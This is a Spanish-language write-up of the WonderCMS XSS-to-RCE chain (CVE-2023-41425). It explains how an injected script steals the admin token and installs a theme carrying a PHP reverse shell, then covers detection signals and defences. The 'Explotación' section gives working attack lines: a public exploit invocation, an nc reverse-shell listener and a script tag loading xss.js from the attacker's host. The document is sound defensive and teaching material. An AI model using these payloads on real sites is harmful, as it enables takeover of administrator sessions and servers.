WonderCMS XSS to RCE (CVE-2023-41425)

WonderCMS es un gestor de contenidos minimalista en PHP. La CVE-2023-41425 afecta a las versiones 3.2.0 a 3.4.2 y encadena un XSS con la funcionalidad de instalar temas para llegar a ejecución remota de código. Es un buen ejemplo de cómo un XSS, que a veces se trata como un fallo "menor", se convierte en un compromiso total cuando la víctima es un administrador.

La cadena funciona así:

1. Inyección del XSS. WonderCMS expone un formulario (por ejemplo de contacto o registro) cuyo contenido acaba mostrándose en el panel del administrador sin sanear. Enviamos un valor con una etiqueta <script src="http://<atacante>:<port>/xss.js"></script>.
2. El administrador lo abre. Cuando el admin revisa la entrada en su panel, el navegador del admin carga y ejecuta nuestro xss.js. La clave es que se ejecuta en su sesión: con sus permisos y su token.
3. Robo del token e instalación del tema. El xss.js lee el token de administración de WonderCMS (necesario para acciones privilegiadas) y lo usa para instalar un tema o módulo malicioso desde una URL que controlamos. WonderCMS permite instalar temas como un ZIP, y ese ZIP contiene un fichero PHP (un webshell o una reverse shell).
4. RCE. Al quedar el PHP malicioso dentro de la raíz web, lo invocamos (o el propio script lo dispara) y obtenemos ejecución de comandos, normalmente como www-data.

Existe un exploit público (de prodigiousMind) que genera el xss.js, lo deja listo para servir y automatiza el resto: basta con indicarle la URL de login de WonderCMS, nuestra IP y el puerto, levantar el servidor HTTP que sirve el xss.js y enviar el enlace por el formulario.

Explotación

# genera xss.js y prepara el tema malicioso (argumentos: URL de login, lhost, lport)
python3 wondercms_xss_rce.py http://<host>/loginURL <lhost> <lport>
python3 -m http.server 8000                 # servir el xss.js generado
nc -nlvp <lport>                            # listener para la reverse shell

Luego se envía por el formulario vulnerable el payload que carga nuestro script en la sesión del admin:

<script src="http://<lhost>:8000/xss.js"></script>

Matiz. El paso 2 depende de que un administrador abra la entrada: es un ataque de tipo client-side que requiere esa interacción (en un laboratorio, un bot simula al admin; en el mundo real, ingeniería social o paciencia). Sin esa visita, la cadena no se dispara.

Cómo detectarlo. La cadena deja rastro en tres puntos. En la entrada, un formulario cuyo contenido incluye <script src="http://..."> guardado sin sanear (visible en la BD/ficheros del CMS). En el navegador del administrador, la carga de un xss.js externo (un informe de CSP o el Referer en el log del atacante lo delata). Y en el servidor, la instalación de un tema/módulo desde una URL externa seguida de la aparición de un .php nuevo en la raíz web (FIM) y del proceso web lanzando sh como hijo. Una instalación de tema no iniciada por un admin en su equipo habitual es la firma.

Defensa. Actualizar WonderCMS a una versión parcheada; sanear y escapar toda entrada que se muestre en el panel (para cortar el XSS de raíz); aplicar una Content-Security-Policy que impida cargar scripts externos; y limitar qué puede instalarse y desde dónde. Relacionado con la inyección de comandos y otras vías de RCE.